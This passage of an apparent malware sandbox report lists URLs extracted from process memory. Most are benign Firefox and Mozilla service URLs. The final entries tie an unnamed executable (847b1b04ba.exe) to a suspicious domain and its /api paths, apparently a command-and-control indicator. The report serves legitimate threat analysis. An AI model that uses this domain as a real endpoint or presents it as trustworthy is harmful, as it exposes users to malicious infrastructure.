Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsi
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1_migrateHashedKeysForXULStoreForDocument/
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA31C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: 01806ad967.exe, 00000007.00000003.3710209065.0000000007B84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gcc.gnu.org/bugs/):
Source: firefox.exe, 0000001C.00000002.3114461929.000002AEAF6E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3154855499.000002AEB4627000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3145198431.000002AEAFB9B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3154855499.000002AEB4627000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3145198431.000002AEAFB9B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3154855499.000002AEB4627000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3070696420.000002AEAE5AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3154855499.000002AEB4627000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3145198431.000002AEAFB9B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3181470422.000002AEB4A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3145198431.000002AEAFB9B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3154855499.000002AEB4627000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001C.00000002.3185075240.000002AEB4B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 0000001C.00000003.2809870565.000002AEB4825000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001C.00000003.2809870565.000002AEB4868000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2815827062.000002AEB48C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2813076453.000002AEB4888000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001C.00000003.2809870565.000002AEB4868000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2815827062.000002AEB48C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2813076453.000002AEB4888000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001C.00000003.2809870565.000002AEB4825000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000001C.00000003.2809870565.000002AEB4825000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2758104164.000002AEABF31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2757796206.000002AEABF0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2985111266.000002AEAC190000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2757567816.000002AEABD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots/shims/google-analytics-ecommerce-plugin.jsTransactio
Source: firefox.exe, 0000001C.00000002.3248270404.00003CEE6E104000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001C.00000002.3084108536.000002AEAE7F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001C.00000002.2889357487.000002AE9BF11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881jar:file
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3142574817.000002AEAF903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001C.00000003.2809870565.000002AEB4825000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001C.00000003.2826989264.000002AEACA67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2995916903.000002AEAC84F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001C.00000002.2995916903.000002AEAC803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema.
Source: firefox.exe, 0000001C.00000002.2995916903.000002AEAC803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema./
Source: firefox.exe, 0000001C.00000002.2995916903.000002AEAC803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/
Source: firefox.exe, 0000001C.00000002.2995916903.000002AEAC803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/=
Source: firefox.exe, 0000001C.00000003.2809870565.000002AEB4825000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001C.00000003.2809870565.000002AEB4825000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001C.00000003.2809870565.000002AEB4825000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001C.00000002.2995916903.000002AEAC82C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001C.00000002.3233443486.000029FE16D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3090950940.000002AEAECA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001C.00000002.2943245488.000002AEA9521000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA93A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sAttempted
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000001C.00000002.2889357487.000002AE9BF94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest5
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA3F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA3B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.comhttps://truecolors.firefox.combrowser.migration.versionwidget.use-xdg-des
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001C.00000002.3231532572.0000248ACAC04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://mozilla.org/W
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%shttps://mail.google.com/mail/?extsrc=mailto&u
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/NetUtil.sys.mjsresource://gre/modules/
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001C.00000002.2899659472.000002AEA7739000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.comdevtools-commandkey-performancebrowser.launched_to_handle
Source: 847b1b04ba.exe, 0000000E.00000002.3072130853.000000000087E000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.3066118122.0000000000918000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.3052184147.0000000000911000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.3054987348.0000000000917000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2958077312.0000000000914000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2990211013.0000000000911000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000002.3080259165.0000000000919000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/
Source: 847b1b04ba.exe, 00000009.00000003.2579029860.0000000001452000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 00000009.00000002.2580525413.0000000001452000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/#
Source: 847b1b04ba.exe, 0000000E.00000003.2957253832.000000000090F000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2958077312.0000000000914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/.
Source: 847b1b04ba.exe, 00000009.00000003.2579029860.0000000001452000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 00000009.00000002.2580525413.0000000001452000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/3
Source: 847b1b04ba.exe, 0000000E.00000003.3066118122.0000000000918000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000002.3080259165.0000000000919000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/F
Source: 847b1b04ba.exe, 0000000E.00000003.3065207172.000000000087E000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000002.3072130853.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/S
Source: 847b1b04ba.exe, 0000000E.00000002.3074043534.00000000008B9000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2990211013.0000000000925000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000002.3080055825.0000000000911000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.3065207172.0000000000887000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api
Source: 847b1b04ba.exe, 00000009.00000003.2579029860.000000000144B000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 00000009.00000002.2580525413.000000000144F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api$
Source: 847b1b04ba.exe, 0000000E.00000002.3080688743.0000000000926000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.3066118122.0000000000926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api7
Source: 847b1b04ba.exe, 0000000E.00000002.3072130853.0000000000887000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.3065207172.0000000000887000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiJ
